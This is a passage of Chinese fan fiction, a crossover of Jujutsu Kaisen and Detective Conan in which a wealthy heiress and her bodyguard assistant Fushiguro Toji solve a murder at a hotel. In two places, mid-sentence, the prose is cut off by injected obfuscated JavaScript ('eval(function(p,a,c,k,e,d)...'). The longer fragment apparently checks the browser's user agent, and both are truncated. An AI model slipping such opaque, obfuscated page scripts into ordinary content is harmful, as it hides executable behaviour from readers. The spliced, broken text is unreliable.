好难搞的助理哦,关心过头会被认为是奇怪的人图谋不轨,这样有边界竟然对方又觉得缺少存在感。她以为提供情绪价值为主的第三产业服务者情绪会更加稳定一点呢。 “没有。这种事情我无所谓。”不知道为什么突然问这个问题,但是习惯于她的天马行空思路,伏黑甚尔简单的想了一下就回应了。 居然还是自我意识过剩而不自知的类型…… 小莳不是心理学家,为了伏黑甚尔也怒了。她心想,那你报警吧。 反欺哄自己的心……只是徒劳。 他没想到一个简单的回答会引起赤司小莳愣怔半晌,但颇有耐心的等待下文。 “我以为,”小莳不喜欢徒劳,她整理了一下措辞开口:“我过度关心你原来世界御三家的不良陋习而不是你的过去、一不小心把你看老了伤到了你年轻的心、在园子家没回消息耽误你提前选购食材和一些问问题不被回应的挫败、你已经勇敢的准备认识我的亲友但是心里建设做好了却没用武之地、今天下午你尝试和我开启对话但我很轻易的结束了话题,等,没有注意到你本人意愿的事情,让你比较在意呢。没想到其实你挺无所谓的哈。” 最后掌控一下谈话进度,能指出问题让对方意识问题,也不算毫无进展,她于是颇有礼貌的道歉:“抱歉我有点困了,想睡觉。或许甚尔君也困了?” “那么,明天见,晚安。”看着伏黑甚尔收拾好了台面,定时了空调,小莳坐在床沿说。 目送他熄灯,离开,反锁房门。 在伏黑甚尔离开后,有点困了的小莳开灯找到遥控器,打开投影仪,点播,就选备前千鹤曾经主演的电影,以后怕是再不能看见这位富有天赋和美貌的演员了。 死者为大,点蜡。 哦对,忘记和甚尔君说今天晚上的啤酒因为太美味被他一不小心喝完明天还要再买点的事情了。 不行,太困了已经睡着了,不发消息了,明天说吧。 伏黑甚尔在五米开外的楼梯间清晰地听见301里有人走动和点灯开关按动的咔嚓声,便知对方根本不是有点困。 他想听不见。 7. 第 7 章 小莳第二天准时被伏黑甚尔唤醒了。 “煎蛋,薯饼,火腿芝士牛角包、橙汁。” “薯饼和牛角包值得期待,剩下的你帮我分担掉吧,给我一杯香草茶。我换衣洗漱后就下去。” 吃完早餐以后就是一小时的自由活动,在那之后去高原区团建游览。 毛利小五郎侦探身为冲野洋子单推人,在酒店大厅里独享超大屏幕电视,观赏洋子在巡演中、电视剧中的抓眼表现,女仆双子留下做后勤保障。 其他人——有森经理、主厨子门忍、城元先生、社长、小莳甚尔、小兰柯南,都去。 猜猜是谁没有被邀请。 备前千鹤。 因为被柯南叫了一声阿姨,气愤回房,邀请还没开口就物理拒绝的女人。 “对于日渐凋敝的演员界来说有点可惜。但我并不喜欢她,所以,就让一切在沉默里灭亡吧。”小莳露出兴致盎然的笑容,悄悄凑近和伏黑甚尔加密通话。“备前千鹤女士生前弥留之际珍贵影像流出,竟被无知小童叫阿姨!” “真是失礼,她只比他大13岁。我现在敢确定真正的瘟神是谁了,如果不喊阿姨,搞不好死不掉。” 显眼包在人堆里最安全,熬过周六周天,后天就是工作日。离开旅馆这次危机就过去了。 伏黑甚尔:沉默。 灭亡,弥留之际,大13岁,瘟神。每一个意向都很抽象,他理解不了。 他也并没有完全做好准备和小莳说话。 就算完全做好准备,下一刻也可能会被她不着边际的问题难倒吧。他如此自嘲。 伏黑甚尔开车,小莳和小兰坐后排,“你去和你甚尔叔叔坐,乖。” “我~不~要!” “你个蹭车的哪来那么多废话,不会还想坐小~兰~姐~姐~的腿上吧,姐宝男。”小莳抱起柯南,凑着他耳朵恶魔低语“工藤新一你个小流氓。”在2个前座间的空隙处把柯南丢到副驾驶上去了。 “!!!!” 小孩说话老不好,多半是粘牙了,把他最喜欢的时尚单品抢走,马上恢复正常。 伏黑甚尔也不是很想和小莳坐在一起,如此一来正好。只是,工藤新一是谁? 而且这小子有点碍眼。 说是高原区,其实只是附近的一处风景宜人的丘陵。必经之路上有一处桥梁在施工维修。 看见装修工人低头捣鼓着水泥。伏黑甚尔突然想起来,工藤新一是先前和赤司小莳通话的女孩提到的毛利兰男友,状态是:大部分时间失联,少数时间电话联系--这关系有点像自己和儿子的亲缘。一般来说情侣和夫妻间遇到这种情况,过来人伏黑甚尔有超过一半的把握:恭喜,这男朋友有新女朋友了。 只不过这次情况有点不一般。 毛利兰是后座上与大小姐贴着坐的这位。 通过后视镜看见正有说有笑的高中生毛利兰,17岁。 工藤新一是旁边汗流浃背的这位。 余光瞥见不知道在想什么但是应该是很恐怖内容的小学生,7岁。 奇怪的知识增加了。 伏黑甚尔停止思考。 车停好后,小莳欣然接受毛利兰的邀请,拉伏黑甚尔一起加入山坡观光活动。 “柯南,怎么回事,晕车了吗?”面对江户川柯南脸色发青,身体僵直,小兰关切询问,“你看这阳光多好哇。山丘这么高,抬头感觉太阳离我们触手可及的地方,若我有一双翅膀,都能飞上去一探究竟呢。” 后头准备野餐布的有森先生听见这感慨,笑着加入:“毛利小姐这不是再说伊卡洛斯的故事吗?” 旋即给在场众人讲述了少年伊卡洛斯和其父代达罗斯为逃离克里特岛,收集鸟的羽毛,用蜡粘成可以飞向天空的翅膀。“你要当心”父亲叮嘱儿子,“若飞得太低,羽翼被海水打湿,你会被海洋吞没;若飞得太高,黏合的蜡会被太阳融化,你会坠入深渊”。然而骄傲的伊卡洛斯忘却了教诲,奔赴太阳,最终坠入海洋,被浪花埋葬的故事。 “真是不吉祥的谶语。”不同于毛利兰被其中浪漫主义色彩包裹的沉醉,小莳凑到伏黑甚尔耳边加密通讯,“我们去看看那边的深山白蝶吧。” 在毛利兰羡慕但是脸红(小莳:请不要胡思乱想)和江户川柯南松了一口气但仍然警惕的目光中,她拉着伏黑甚尔走到不近不远的树林里,“与自然亲密接触”她如此解释。 “为什么不吉利?”伏黑甚尔问她。 “因为伊卡洛斯字面意义上的坠落了?”小莳反问。“自这个神话诞生以来,后人为它赋予了多种多样的意义,做出诸多解读,伦理的、哲学的、艺术的,但此时此刻被提起,几乎是昭示着凶案来临了。” “哦,我头一回听说这个故事。没什么感觉,只要飞得不高不低就可以逃出生天了吧。”伏黑甚尔做出一个自以为中肯的评价。 “果然,甚尔君没有被培养相关的细胞。”小莳听他难得一本正经的给出自己的评价,经过昨天的事情,知道这时候不能打击他脆弱的自信心。伏黑甚尔本人并不认可这一说法,如果他知道小莳的想法的话。 “不过没关系,我懂嘛。我以前可是看过很多书和艺术展的!”说着便开始跟伏黑甚尔细细道来。 “伊卡洛斯的坠亡只是全景的一截剪影。将故事拉长,他的父亲代达罗斯曾经也是雅典城邦里体面的发明家,他家学渊源丰厚,天资聪颖。然而杀了人——据说是出于嫉妒,杀死了天分更高的外甥。为了免于法律的审判,他逃离城邦,流浪多时,最终定居克里特岛。在那里与一当地女子结合并有了儿子伊卡洛斯。” “克里特岛的国王虽贪恋代达罗斯的才能,却限制他的自由,想搞软禁那一套,加上代达罗斯最终还是思念城邦,渴望归乡。于是计划逃离,才有了刚刚那段故事。穷乡僻壤的土皇帝当然比不上雅典,代达罗斯早该知道的。这事也有后话,代达罗斯最后去了意大利,阴暗扭曲的国王在追捕代达罗斯时被杀身亡。” 小莳顿了一下,先选择了浅显的父子伦理角度。 “希腊神话是神明与人类爱憎离合的故事,任谁也摆脱不了这份人性价值。以伦理论,恶行累累而诡计多端的狡诈之人固然能巧妙的避开陷阱,可其亲密之人却难逃命运追猎。聪明一世的父亲得到了丧子之痛,也许在余生的某个夕阳,他会假想,如果自己的儿子是在安定的城邦中出生,是否一切都会不一样。但从他杀人又叛逃那一刻起,这样的未来就不存在了。父债最终子偿。当然阴暗扭曲的土皇帝因为智商不够,自己就乖乖付出了代价。一般而言,凡人类,多半有个爸,而很多男人认为儿子是自己生命的延续,因此这类命运亲子话题,一向为人所津津乐道。伊卡洛斯的故事也就在人们的谈论中流变,历久弥新。” “确实,我在另一个世界也有个儿子。”很久以前也读过一些父亲育儿相关的书籍,后来,觉得没有意义,便不管了。但是父子话题确实是为人所关心的一个问题。 “嗯,嗯?”小莳没想到他会突然说自己的事,不过她反应很快,秒速联想,所以在那里被干掉是因为小孩已经出生了影响嫡生继承权吗?你们伏黑家真是勾心斗角捏。“你儿子多大了?” “四岁,也可能是三岁吧,不记得了。”伏黑甚尔想了一会,完全想不起来,不过想起那小小的身量,大概也就三岁多。 “……”总感觉是一个不是很靠谱的父亲,但是按照小莳自己目前的被照料来看,伏黑甚尔应该是很会养小孩的那种?好怪,“但是肯定是很小的孩子吧?” “嗯。”术式还没显现呢。 “你就不担心他被你的仇人干掉,永绝后患吗?”爸爸都干掉了,带入一下嫉妒又谨慎的嫡女身份,何不把小的也做了,确保豪门继承人的身份。 “不会,他值10亿呢。”伏黑甚尔龇牙一笑。“就算五条小鬼不管他,禅院家会把他带走的。” “诶?所以你的仇人是御三家里的人,我以为是你入赘的人家的原定继承人呢。你懂的,豪门宅斗大电影。” “……”这小姑娘在胡思乱想什么。 御三家话题还是不主动问比较好,毕竟甚尔大概和他们关系恶劣,贸然接触恐会踩雷区:“说来我给甚尔君开的工资是100万一个月,你要工作1000个月才能赚到你儿子身价那么多钱呢!” “不会,如果想赚钱可以接活。”他实事求是地说,只不过是现在收入稳定,没必要再找额外的事情。 “啊?你打算重拾情绪与生理价值提供员的身份吗?”这下真要一次失足,次次失足了。干这份工作还能上瘾,小莳没有相关知识储备,乍一听觉得稀罕。 “……”他脸黑了,沉默半晌,最终选择用小莳曾经做过的手枪手势,无声的解释自己的接活内容。 “原来如此,这确实来钱快,我以前钱多的花不完,可以在里面游泳。甚尔君以前是赏金猎人吗?”恍然大悟,确实,这么好的身体素质只做小白脸有点屈才,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就伦理部分而言,没什么想说的。所有的神话都由人类撰写,而古希腊的城邦里自由人中的男人是人类,女人是性别,奴隶是牲畜。母亲和女儿是作为附属存在的,意识形态是能够决定文学的。所以一身吠舍味的我怎敢碰瓷高贵的婆罗门圣典,伊门。当然父与子的关系也确实不能触动到我。”小莳装摸做样的双手合十,阴阳怪气的自我贬低,最后很认真的表达了无法共情。 “哲学与艺术表现方面嘛,不同时代的不同人会从这段故事里看到各异的景致,奔赴太阳,追逐理想;不听人劝,骄傲自我,酿成大祸;逃离迷楼,飞跃藩篱;自由与死亡;悲剧与美,正是这样结合个人人生与当代社会的联想与嗟叹,赋予早就谢幕的故事丰沛又永恒的青春活力。只不过这些终究是后人的牵强附会,利用伊卡洛斯的意象,表达的是他们本来就想说明的心声。不过……确实有一位作家关于此的表述触动到我,他说‘唯一的办法是飞。飞出迷楼,靠艺术的翅膀,宁可摔死。’” “自由与崇高,何尝不是值得为之振臂飞翔的愿望。”树梢飞过一只白色的蝴蝶,它翅翼轻颤,晃晃悠悠地在林间漫游。 “至于伊卡洛斯真正的本意,若要探知,便只能让他重生一次,看他是选择奔赴太阳,还是飞得不高不低。这些就只能靠读者自己想象。” 蝴蝶飞落到伏黑甚尔的肩上。 “你别乱动,这可是深山白蝶。”小莳说话声音都变小了,连忙拿出手机,后退两三步,“你能笑笑不,帮你培养一下模特天赋,模特赚钱也可多了,艺多不压身。” “……” 蝴蝶在伏黑甚尔身上留下一些麟粉,又晃晃悠悠地飞走了。 小莳活泼的走到他旁边,向他展示拍摄的照片。“怎样,是不是把你拍的还挺帅气的。我以前可不怎么拍照片,要是早点发现自己的摄影才能兴许我也能做个摄影师呢。要发你一张吗?” “不用,”伏黑甚尔掸了掸肩,“你要发给同学?” “没错,她很遗憾不能亲眼见到你,声泪俱下的求我拍几张照片。是这样的,她有一个朋友身患绝症,在做手术之前唯一的愿望就是看看帅哥。”小莳张口就开始胡扯。 “……我听见你们的电话了。” “好吧,甚尔你确实很帅气,你偷听。” “没有。” “怎么没有呢,那个时候你都不理我了,还听我讲电话!” “我耳力太好了,没有特意去听。” “真的吗?我不信。有多好?” “来的那天在客厅里听见了你给兄长开空调的声音。你还开成暖气了。”伏黑甚尔理性列出证据。 “……”这有什么办法,有个人拒绝提供帮助,在此之前小莳没有自己开过公寓里的空调。 但是要强的女人不会认输。 “所以你也听见昨天你走了以后我下床开灯的声音咯?真是绝妙的听力捏,现在我信了。” 8. 第 8 章 气氛一时之间有些焦灼,小莳懊恼:“早知道我就拍完照片再说了。” 伏黑甚尔转身准备走。 “对不起甚尔君,下次我少调侃你。” 伏黑甚尔迈开步伐。 “呜哇,你走好快,我要跟不上你啦。” 伏黑甚尔加快脚步。 “我刚刚那是福至心灵,突然想起来这件事。又不是故意的。” 小莳找准时机,一把揽住伏黑甚尔的胳膊,堪堪让他停下脚步。其实力气不大,但是伏黑甚尔反正就是停下了。 “对不起!雇主都给你道歉了,你稍微适可而止一点。” 伏黑甚尔回头,居高临下的看她说:“你想说什么。” “你别丢下我。我就是天生一张巧嘴,这实在是没有办法的事。” 伏黑甚尔左臂发力,随手挣脱。然后灵敏的小莳眼疾手快扯住他手腕。 “但是我以后会努力克制的!以后我会少说让甚尔君尴尬的话。” 伏黑甚尔停止动作,瞥她一眼“还有呢?” 示弱虽然可耻但大部分时间有用,小莳自我确诊崴脚。 “刚刚跑太急,jio崴了。你能背我不。” 伏黑甚尔视线落在她的脚踝处,穿着青色中筒袜,什么也看不出来。 “拜托了?”小莳双手合十。 伏黑甚尔蹲下来,想观察一下情况。于他来说这根本不算问题,但是这种娇气的大小姐,啧。 “哪只脚,现在回去上药。” “这就不至于了吧,我还挺期待中午的野餐的,上次野餐还是在很久很久以前。” 小莳吞了下口水,不急不慢的开口:“你知道的,我从小就离开了爸爸妈妈。” …… 伏黑甚尔转了个向,“上来。” “你认识路不?先说好我来的时候没注意,如果你也不认识路我们最好在原地等待支援。”小莳的手从后面打在他的肩膀上,两只腿也一晃一晃,她向前一凑就是伏黑甚尔的耳后,“希望你认得路,因为我刚刚在电光石火间联想到,备前女士既然是死者,经理又是给我不妙感觉的人,那他岂不是有大概率是凶手!” 随后做了补充说明:“十分有八分把握吧。” 总结:“我才不想给他打电话呢。” “真遗憾,完全没注意。”伏黑甚尔看着土地上的痕迹,这里鲜有人踏足,因此刚刚他们路过的地方显而易见,顺着走就能出去。 “你明明走得超自信的!原来是在乱走吗!” “别动,地上有脚印,沿着来时候的路就能出去。”伏黑甚尔感受到她左右腿乱扑棱,停下脚步,陈述事实:“你脚踝没问题。” “……我本来想说午餐三明治里有东西我不吃,需要甚尔君挑出来的。但是仔细一想玉米沙拉火腿和培根牛油果都是我的舒适区!万一你以为我不吃什么以后不给我做咋办。”小莳原本自然搭着的两只手一听这话立刻环住伏黑甚尔的脖子,整个人贴在他背上,惊恐道:“甚尔君,你不会要把我扔下来吧。” 感受到她急促的呼吸和骤然的贴近,“别对着我耳朵说话,很痒。” “那我帮你挠挠?”她说着右手臂抬起,环着脖颈想要摸到伏黑甚尔的左耳。 众所周知,撸猫的一个关键环节就是摸小猫耳朵,那里血管分布密集,是猫咪身上比较敏感的部位。寻找猫咪耳后凹陷,对此区域进行轻轻揉按,很快猫猫就会发出咕噜声。 肩背前胸肌肉过分发达,小莳没够到。 “……不用,你下来自己走。” “别嘛,一米八的视野还挺难得的,想再多体验一下。” “185。”伏黑甚尔纠正。然后他感受到后背少女不自然的吐息。 小莳想到了那个笑话,警察赶到命案现场,根据现场情况推测,凶手身高应该在180左右。此时旁边垃圾桶里传来一个声音“183”。 救命,你们180以上是不是要把身高刻到墓碑上。 但是这个时候还是不要说出让人尴尬的话了,“拜托了甚尔,延长一□□验卡嘛。让我体验一下一八五的视野。拔高20cm这谁顶得住诱惑。” 好听的话一说,伏黑甚尔于是又迈开步伐。 沉默了没一会,小莳又开始叽叽喳喳。 “我是不是没和你说过你可以叫我小莳,KOMAKI。” 无人回应。 “那你以后可以直接叫我小莳了,这样比较公平,甚尔君。” 还是沉默。 “甚尔君你说句话呀!” “嗯。” 中午的三明治,小莳两种都想吃,所以伏黑甚尔自愿和她share了一下两种。 下午钓鱼。 “这湖里根本没有鱼我和你讲。” 伏黑甚尔将目光投向隔壁船,城元先生正在和一条咬钩的大鱼进行臂力角逐。 最后他成功收杆,钓到了一条一臂长的黑鲩。 “……” 小莳撅着嘴开始钓自己这边的鱼,一无所获。 看完夕阳以后一行人便离开高原。 经理的车坏了。 其余人先行离开。 回来后,毛利小五郎还在如痴如醉的在看冲野洋子演唱会,动情跟唱。 其余人自发的为晚上庭院里的BBQ做准备。小莳……没去,伏黑甚尔……也没去。 想要找机会接触小莳的江户川柯南:…… 烤肉时,小莳和伏黑甚尔准时下来吃饭,全场唯独少了备前千鹤没下来。 “估计是——”小莳对伏黑甚尔做出了抹脖子的动作。 伏黑甚尔懒得信她,大小姐,不仅娇气,还神神叨叨。 远处一直悄悄观察二人等待时机的柯南:…… 晚餐结束后,天彻底黑下来。 经理还没从高原回来,子门忍和毛利兰开车去接他了。 城元先生向毛利小五郎借走了保管在他那的□□,却发现屋里还有安全锁,无论怎么呼喊妻子都不回应。 毛利小五郎选择撞门。 “你力气大,快去帮忙。”小莳推推伏黑甚尔,朝他挤眉弄眼。 正好观摩一下凶案现场。 “没事的小莳姐姐,毛利叔叔和城元叔叔两个人就可以。哈哈哈”柯南想着,现在情况不妙,不能让他们有浑水摸鱼的机会! 小莳刀了柯南一眼,伏黑甚尔耸耸肩,站在一旁。 七点二十的门内,是吊死的备前女士。 小莳进屋时扯了扯伏黑甚尔的衣角,回头给他一个带笑的眼神。然后准备行使侦探职能。 伏黑甚尔:…… 不着边际但是很准的直觉。上一次看到这种人他的名字还叫五条悟,说了一些很奇怪的话,忽然就掌握反转术式了。 心情因为联想到故人急转直下。 这小鬼看他干嘛?不爽,带着疤的嘴角一咧,瞪回去。 一瞬间,杀意外泄。 凛烈的严寒,除了在走廊里的江户川柯南便只有走入黑暗室内的小莳捕捉到了。 但她没有回头。 灯没有开,空调也没有开。如果是白天的话确实可以不开灯,但是气温炎热。备前千鹤怎么也不是会委屈自己的女人。如果是夜晚,倒是勉强可以不开空调,但灯就必须打开了。 所以是出去了。 已知受害人,已知凶手(80%把握)。城元开着大巴车,里面完全可以容纳备前女士。昨天晚上关于环保问题和经理起了冲突,早上她又明确离开了众人,基本不存在和有森经理勾结的情况。 那就是被动出门咯? 啊,环保主义者是能做出随手关空调关灯这种事的,而有森经理恰好很注重生态气候保护。 密室……安全锁。 小莳蹲下身观察被毛利小五郎大力撞下的安全锁。上面有很多划痕。螺丝刀的。 房内墙上,曾经装安全锁的金属扣环的地方,也有划痕,小莳隔着餐巾纸(从伏黑甚尔身上拿的)捡起安全锁,贴上墙壁。 几处划痕都衔接起来了。 所以是直接在门外用螺丝刀固定已经锁上的金属扣环,把它装回去,然后关门,制造密室的。 拙劣的手法。 创造密室,自然是为了伪装自鲨。哎,再说一次东京根本没有那么多爱马仕。 但又是不开空调又是不开灯,又是根本不会拧螺丝。 完成度堪比大学生毕业论文。 导师们有一颗拳拳爱学子之心,想放过,小莳可没有。 八点,警察到来。 很快子门女士和小兰也带着经理回来。 “不知道引擎出了什么问题,听说备前千鹤去世了就赶快赶回来了。”这是经理的说辞。 “啊。”小莳想起来了。 “怎么了?”伏黑甚尔立刻问她。 旁边江户川柯南也是紧紧盯着。 小莳对经理说:“经理先生,昨晚甚尔把酒喝完了,现在厨房里还有啤酒吗?明天回去我们想打包一点。” 伏黑甚尔:“……”啊对对对,他超爱喝酒。 江户川柯南:…… 经理和伏黑甚尔出去打包酒了。小莳把柯南拉到边角。 “你今天盯着我好久了,好像变态哦。” “……到底谁像变态啊!” “好啦,上次不是说好我和甚尔不是坏人了吗?你还盯着我做什么。” “你早就知道我的身份了吧。所以那天才那么讲。” “不是哦,那个时候刚来东京,只知道一个工藤新一,谁知道你就是。今天园子给我发了小~兰~老~公的照片,我一看就发现是你了。你女朋友居然认不出来,我好惊讶。小兰笨笨!” 柯南腾的一下红了脸,极力否认:“不,不要乱说!园子那个女人——真是的!” “还没有确定关系吗?我以为老~公~和老~婆~已经结婚了呢。” “不要用这种语气说话!!!” “所以说难道你是得罪了什么违法犯罪集团以后,他们以为你死了,实际上你变小了,就潜伏在暗恋对象家里?我查了毛利侦探名声大噪的时间,大概就是工藤新一销声匿迹之后。” “……你真的不是那个组织的人吗?”准得吓人。 “自上次一别,过了这么久你还没被解决掉,不就正好说明问题了吗?你可是名侦探,动动脑筋。” 小莳发现,名侦探发问前似乎从不思考。 “那伏黑是怎么回事,他……感觉太像亡命之徒了吧。”柯南想起刚刚的那幕,仍心有余悸。 “他改好了,现在不鲨了。”小莳说得轻描淡写。“吓你纯粹是因为他讨厌你,一定你太没有边界感了!” “……喂赤司你。” “注意礼仪,要叫小~莳~姐~姐~你放心,我开的工资很高,足够让前·雇佣兵好好给我做助理。你少管我助理就行。有人说过吗?你虽然是很好的侦探,但是存在感太强了。甚尔不喜欢你这样窥探。”小莳双手抱胸,笃定的说出名侦探被针对的理由。“我脾气好,不和你计较,你可别当人人都让着你。” “那备前千鹤是怎么回事,她应该不是自杀吧?我看见晚餐时你和伏黑做的手势了。” “是经理。”小莳听见脚步声,匆匆忙忙丢下三个字。 “?”柯南还没开口,也听见了声音,连忙噤声。 “赤司小姐竟然能从脚步声就猜到人。真是了不起。”果不其然,几秒后有森经理从转角走来,伏黑甚尔拎着袋子在他旁边。 “嗯,没错,主要是一下就认出了甚尔的脚步声。”小莳睁着眼睛开始乱说。 柯南摆明不信,喂不是吧,你连现场都没有调查就确认凶手了? “好啦小弟弟,你和经理去下面玩吧,姐姐和哥哥回房咯。”小莳随手打发走柯南。 酒店一共就2间高档套房,一套就是被备前千鹤定下的,小莳的房间自然就在她的对门。 案发现场出来走两步就是自个房间,真是方便。 亲自开了门——伏黑甚尔双手全被打包带占用,请他先进去,然后关门。 “我想着过会经理就要被抓走了,马上酒店也没个人主事,赶紧把啤酒问题解决。谢啦甚尔君。”小莳美滋滋地拎起一袋抱在怀里,眉眼间都是丰收的喜悦。“昨天我谷歌过了,女性每天摄入15g酒精都是健康安全的,这种5%左右的可以每天一大杯。等这个喝完我想再试试朗姆养乐多,一天也可以小酌一杯” 他把东西放在柜台上:“我也谷歌过,日本饮酒年限是20。” “看来你心情不错,都开始开玩笑了。咱们都亡命之徒了,何必在意小小的法条。” “那小子只说了我吧。” “不要紧,大小姐陪你。”真是优秀的五感,老远就听得清清楚楚。小莳耸耸肩:“我可是超有义气的,过会警察肯定会来找我们问话——谋杀的迹象过分明显,必定不会草草结案。到时候你说详细点,我们一直在一起,警察就会少问我点没必要的问题了。我好去调查!” “你这么肯定是经理?他也去游玩了一天。刚刚引擎坏了也没回来。开车时我看到路上有人修路,有车行过一看便知。”言下之意经理没有作案时间。他倒是没提动机,想必鲨人这种事在他看来动机影响不大,不愧是前赏金猎人。 小莳一脸这你就有所不知的表情,“根据我的推测,他应该是想办法让备前女士丧失行动能力,然后把她带走了。在我们林间漫步看蝴蝶的时候,备前女士大概率不省人事在大巴车厢呢。这并非无可能,我们谁也没有上大巴车看过情况。” 又向他说明了环保主义者随手省电的逻辑和撬锁又装上做佐证“我们这些游客谁会正儿八经带个螺丝起子来旅游哇,工具房一般也是酒店内部人员使用,魔鬼就隐藏在细节中,这些甚尔不用我说就应该知道吧。” “啧。”有道理,伏黑甚尔便也不再说话。 一阵子过后,警察果然来敲门,小莳先一步走出房间,“你们先和甚尔聊。我去房间看看情况。” 先在双子服务员的带领下看了工具房,得到了只有酒店内部人员有钥匙、没人借东西的信息,还在储物间看到了滑翔翼。 滑翔翼,飞的,伊卡洛斯。 双子对滑翔翼了解不多,只知道是经理的业余爱好。子门忍女士貌似和他有相同的爱好——擦拭餐厅相框是照片里看到的合照。 说是照片里另一个男人和经理三分相似,具体是谁不知道,大概率是亲缘关系。 小莳也不了解。 KOMAKI(活泼可爱版):你知道滑翔翼吗?对这项运动有了解吗? KOMAKI(活泼可爱版):【图片】 TOJI:不。 Pass,换人,就决定是名侦探了。 江户川柯南:怎么了?我记得经理和他的弟弟还有子门小姐以前是一个社团的。 江户川柯南:你在仓库?有森经理说滑翔伞设备收纳在那里很久了。 江户川柯南:?人呢 得到了想要的答案,小莳根本不理人的。 这装备一点灰尘也没有的,哪里是放置已久的样子。 弟弟啊,果然是亲戚。 警察说推定死亡时间在下午1-2点,所以是带着尸体飞回来的。 你是懂伊卡洛斯的,有森先生,飞的不高也不低顺利降落。就是有点变态。 地势差决定了只能从高到低飞,那么回去是怎么回事……酒店到高原的必经之路上有目击证人呢。 早上大家一起开车去,中午程元先生回来了一趟又回去(但是时间是不到1点),晚上除了经理大家一起回。 再就是子门和小兰去高原接经理回酒店了。 酒店到高原的脚程,走路得要超过1小时,概率极低,要么是利用城元先生想了诡计使推定死亡时间出现偏差,要么是偷偷潜入子门和小兰的车。 KOMAKI(活泼可爱版):兰宝能不能说一下今晚见到经理时候的情景? 逢奖必中:我和子门小姐下车以后,在大巴车附近看了一圈,没见到经理先生。 逢奖必中:他说闲着也是闲着,就去看星星了,过一会才从后面走出过来,今晚的星星真的是闪烁呢,是东京的房子里看不见的景色! 居然利用朋友和清纯女高做不在场证明,真是虚假的友情和恶劣的性格。 这位经理有点坏。 气喘吁吁赶来的是焦急的名侦探,轻描淡写敷衍的是离开的小莳。 “我就随便问问呢,没别的意思。你别急。好久不见助理,甚是想念,886.” “……”喂你。 前往水户警官所在房间,果不其然看到了一问一答的警官和助理。 “伏黑君,如果有人想伤害我的话你是会姑且发挥一下保镖的作用的吧。”小莳双手握着伏黑甚尔的双手,“称呼姓氏表达了我认真想获得一个承诺的真挚意图。” 水户警官:你们……可不可以先让警察完成工作。 “好。”伏黑甚尔说。 “这个承诺有效多久哇,我们先定个小目标,两个月如何?以后再续签。” “……赤司小姐,正好您也在,不如说明一下今天一天您在哪里做什么吧。”水户警官拿起纸笔,强势进入聊天。 小莳于是乖乖做口供。 简短的询问结束,立刻拉着伏黑甚尔开始寻觅有森。在1楼楼梯口见到了从厨房出来的经理本人,他手上拿着一盘点心。 “经理,方便聊两句吗?也有可能不止两句。不方便也没关系,反正我是vip客户,你是经理,我让你过来你来就行。”这就叫,先礼后兵,一句话版本。 “……你有什么需要吗?赤司小姐。” “酒店里有空着的会议室吗?这句话不算在‘聊两句’里。” “请和我来,我带您和伏黑先生过去。” 进入会议室,小莳两只手的食指像敲木琴一样拨下电灯开关,一个一个把房间会议室里每一盏灯都打开,根据按键的情况来看,小小一个会议室顶灯侧灯夜光灯讲台灯竟然一共有十几个,“甚尔你去开空调,要开就开16℃。” “……”有森经理闭了闭眼,复睁开时已经和颜悦色,“有什么需要帮助的吗?”他手上还端着盘子,看来是不想久留,随时走人。 虽然是很节约用电的环保人,但是脾气意外的没有很坏。那怎么还把人给刀了。 “你早上迷晕了备前女士,用大巴车把她带到高地,中午随便找个机会到车上把她干掉,晚上趁大家都不在用滑翔翼带她飞回来,暗中挂起来,锁门,然后用螺丝起子把安全锁装回去。然后藏在久门女士的车后备箱里,回到高地。” “……” “仓库里有不染灰尘的滑翔翼,有客户接触不到的起子,备前女士房间里有没开的空调和没开的灯,她曾经在你的大巴上,你曾经在子门女士的后背箱里,说不定你们两个不年轻的就有一位掉了头发;想让人失去意识必然有药品帮助,你这伪装自我了断技巧拙劣,大概是临时起意,所以想必药品也是现成的,若非是从不法途径获得,那这种处方药必定有开药记录/你从高原飞到酒店有概率被村里人看见,经年不碰滑翔翼,骤然起飞,还带额外负重。搞不好也会像神话里那样飞得磕磕碰碰,楼顶说不定也会有滑翔翼留下的证据哦。” “没想到——” “我不讨厌环保主义者,一定程度上他们是希望世界变得更长久的,违规用电,污水,燃烧煤炭,北极熊只能在海里游到力尽枯竭,企鹅只能走向群山。虽然他们中有的人很极端,但你不是其中之一。正好我不喜欢备前女士,她是优秀的演员,可嘴巴很坏。所以如果你因为自首获得减刑我是不会过意不去啦,二十年三十年不嫌多,十年八年不嫌少。”没看见死者都没发话吗,她当然也没意见。 小莳骄傲叉腰站在伏黑甚尔前面,目前犯人精神状况稳定,跪地伏道,不太像会暴起伤人的样子。她承认,这事有点想在助理面前显摆一下。让他敬服自己的智慧。 “我的弟弟……” 备前千鹤是个实在美丽的拜金女,备前千鹤榨干了有森弟弟,备前千鹤使用强制手段抵押了有森家祖产——有森饭店,备前千鹤捞不出钱了,备前千鹤分手了,备前千鹤在也不知道世界上有一个深爱她的男人失去了生命,深爱她的男人的哥哥现在在自己姓氏命名的酒店里给不姓有森的真正的产权人打工。 “我只是想让她祭拜一下,可那个女人,那个女人!” 小莳面无表情的躲到伏黑甚尔后面,从他左臂外探出头。 她觉得自己人还挺好,有心提醒。可他是个爱推卸责任的家伙。 “日本自古以来就不是女人当家做主的国家,所以一看到雪花一样多的祸国妖妃,美丽邪恶的女妖,支使男人做坏事而达成自己邪恶目的的坏坏女人……我都有点不可思议。”再次重申,东京没有那么多爱马仕。 “而你长得不算好看,弟弟既和你有三分相似,那也……所以硬要找未出名前更年轻,更有女明星资质的大美女谈恋爱吗?非要打肿脸充胖子支撑那么多开销吗?” 听过备前千鹤暴典“不想过就离婚,反正你付赡养费hiahiahia”言论的小莳,深知她大概率有拜金倾向,多半也是能屈能伸但是发现对方没有利用价值就一转态度的前倨后恭的坏女人。但硬要说拜金就得死的话,豁,舔领导臭脚的人,乱拍马屁的人,捧高踩低的人,情节更严重的也屡见不鲜。俗话说天塌下来也有高个子撑着,论理还轮不到小矮子备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 